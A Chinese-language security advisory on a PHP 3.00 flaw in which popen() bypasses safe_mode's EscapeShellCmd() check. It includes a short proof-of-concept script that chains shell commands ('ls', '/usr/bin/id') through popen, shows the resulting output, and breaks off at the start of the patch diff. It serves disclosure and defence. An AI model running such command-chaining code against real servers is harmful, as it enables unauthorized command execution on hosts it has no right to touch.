PHP3 'safe_mode' 失效漏洞(1) 受影响的系统: PHP 3.00 -------------------------------------------------------------------------------- 描述: PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了 PHP的特色。这个语言可以让web开发者快速创建动态网页。 因其执行在web服务器上并允许用户执行代码，PHP内置了称为'safe_mode'的安全特性， 用于控制在允许PHP操作的webroot环境中执行命令。 其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd() 函数，此函数用于确认在webroot目录外部不能执行命令。 在某些版本的PHP中，使用popen()命令时EscapeShellCmd()却失效了，造成恶意用户可 以利用'popen'系统调用进行非法操作。 -------------------------------------------------------------------------------- 测试程序： 警 告：以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ ＜?php $fp = popen("ls -l /opt/bin; /usr/bin/id", "r"); echo "$fp＜br＞n"; while($line = fgets($fp, 1024)): printf("%s＜br＞n", $line); endwhile; pclose($fp); phpinfo(); ?＞ 输出结果如下： 1 total 53 -rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) and from the configuration values of phpinfo(): safe_mode 0 1 -------------------------------------------------------------------------------- 建议: Index: functions/file.c =================================================================== RCS file: /repository/php3/functions/file.c,v retrieving revision 1.229 retrieving revision 1.230
